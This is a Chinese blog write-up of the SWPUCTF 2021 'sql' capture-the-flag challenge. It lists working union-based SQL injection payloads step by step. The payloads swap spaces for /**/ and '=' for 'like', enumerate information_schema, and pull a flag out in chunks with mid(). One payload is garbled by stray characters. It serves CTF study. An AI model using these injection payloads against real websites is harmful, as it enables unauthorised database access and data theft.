首页 > 数据库 >[SWPUCTF 2021 新生赛]sql

[SWPUCTF 2021 新生赛]sql

时间:2023-03-06 13:24:16浏览次数:41  
标签:23 union SWPUCTF wllm mid flag 2021 sql select

 

前言思路:这个CTF题是一个SQL注入相关的题目,题中所含相关知识点:

  1. 题目中过滤了空格、等于号,使用/**/替换空格符,使用like替换等于号,后面步骤均为常规sql注入;
  2. 到最后显示flag时,因页面只能显示20字符,完整flag不能显示完全,常规思路可使用截断函数(substr、right、REVERSE、mid)等函数进行多次截断,然后拼接得到完整flag,本题过滤了substr、right、RESERVE函数,本题可使用mid函数进行逐条显示,最后再把flag组合拼接到一起

 做题详细步骤:

  1. 首先f12发现title标签里面参数是wllm
  2. 多次尝试后发现标签分别为
?wllm=1  -- 回显正常

?wllm=1 ' -- 报错

?wllm=1' %23  -- 回显正常

?wllm=-1' or 1=1%23  -- 发现有过滤

  测试过滤后发现有过滤

    尝试空格替换为/**/或者+

    等于号替换为like

经过反复测试:

测试长度为3

?wllm=1%27+ order + by +3%23回显正常
?wllm=1%27+ order + by +4%23回显错误

找回显位置

?wllm=-1' union /**/ select /**/ 1,2,3%23

查当前数据库

?wllm=-1' union /**/ select /**/ 1,2, database ()%23

查表test_db数据库下的表:

?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

 查LTLT表下的字段:

?wllm=-1' union /**/ select /**/ 1,2,group_concat(column_name) /**/ from /**/ information_schema.columns /**/ where /**/ table_schema /**/ like /**/ database ()%23

 

查内容:

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23

  

 

 

 

发现flag不能显示完全,页面显示字符的长度不够,只能显示,使用截断函数substr right发现被过滤,使用mid发现未被过滤,用mid函数多次截取,得完整flag

 

?wllm=-1'union/**/select/**/1,2,mid(group_conc字符at(flag),20,20)/**/from/**/test_db.LTLT_flag%23
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

 

  

多次拼接后即可得到完整flag

 

  

 

标签:23,union,SWPUCTF,wllm,mid,flag,2021,sql,select
From: https://www.cnblogs.com/newcomer/p/17183461.html

相关文章

  • MySQL事务的隔离级别
    1.读未提交读取到别人未提交的数据,即脏读2.读已提交读取别人已经提交的数据,但是不同时间点读取到的数据可能并不一致,别人可能多次提交了不同的数据,这种即不可重复读3.......
  • clickhouse高级功能之MaterializeMySQL详解
    clickhouse20.8将新增MaterializeMySQL引擎,可通过binlog日志实时物化mysql数据,极大提升了数仓的查询性能和数据同步的时效性;原有mysql中承担的数据分析工作可交由click......
  • sql server 取当月最后一天
    SELECTDATEADD(s,-1,DATEADD(mm,DATEDIFF(m,0,GETDATE())+1,0))ASLastDayOfMonth该代码将当前日期(GETDATE())与DATEDIFF()函数一起使用,以获取当前月份的第一天。......
  • 使用navicat将oracle的sql脚本转换为mysql的sql脚本
    1.工具:navicat16(其他版本未测试,但过程应该差不多)2.准备两个数据库,oracle数据库和mysql数据库,(mysql数据库是空数据库,用于保存oracle中的数据)3.点击工具->数据传输  ......
  • 查看MySql是否安装成功
    1)安装了WindowsService:MySQL80,并且已经启动。    2)安装了MySQL软件。安装位置为:C:\ProgramFiles\MySQL (默认路径)  (MySQL文件下放的是软件的内容)3)安......
  • MySQL索引
    索引MySQL官方对索引的定义为:索引(Index)是帮助MySQL高效获取数据的数据结构。提取句子主干,就可以得到索引的本质:索引是数据结构1.1、索引的分类在一个表中,主键索引只......
  • MySql 清理两张表的死数据
    1、mysql如何两个表取差集_mysql查询两张表的差集SELECT*FROMym_message_internalwheretreatment_idin(SELECTa.treatment_idFROMym_message_internalal......
  • MySQL事务
    1.事务1.1、什么是事务要么都成功,要么都失败——————1、SQL执行A给B转账A1000——转——>200B2002、SQL执行B收到A的钱A800——收——>B......
  • MySQL函数
    1、常用函数--================常用函数==============--数学运算selectabs(-8)--绝对值selectceiling(9.4)--向上取整selectfloor(9.4)--向下取整sele......
  • MySql(7)—— 约束、存储引擎
    约束(非常重要)什么是约束?constraint在创建表的时候,我们可以给表中的字段加上一些约束,来保证这个表中数据的完整性、有效性!!!约束的作用:保证表中的数据有效约束的种类非空约......